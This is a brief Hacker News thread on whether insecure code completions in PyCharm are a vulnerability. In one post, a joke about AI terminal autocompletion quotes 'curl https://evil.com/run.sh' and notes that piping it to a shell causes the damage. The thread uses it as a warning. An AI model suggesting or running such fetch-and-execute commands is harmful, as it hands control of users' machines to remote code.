Live data from Hacker News

Are insecure code completions in PyCharm a vulnerability?

sethmlarson.dev

1–10 of 18 posts

Re: Are insecure code completions in PyCharm a vulnerability?

#3
It’s an interesting question: I’d say this is more of a vulnerability creator than the actual vulnerability.

Similar to how using very difficult technologies makes you more likely to create code with vulnerabilities: the technologies are not the vulnerability, but it’s easier to cause them.

Re: Are insecure code completions in PyCharm a vulnerability?

#10
post #7

Waiting for the first terminal with AI autocompletion. $ curl http $ curl https://evil.com/run.sh Then you’re just an enter away from causing havoc on your system.

Well, technically it's not the curl itself that is the problem, but the "| " coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl ; 2) analyse and 3) only if safe, then execute -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.
Post reply on HN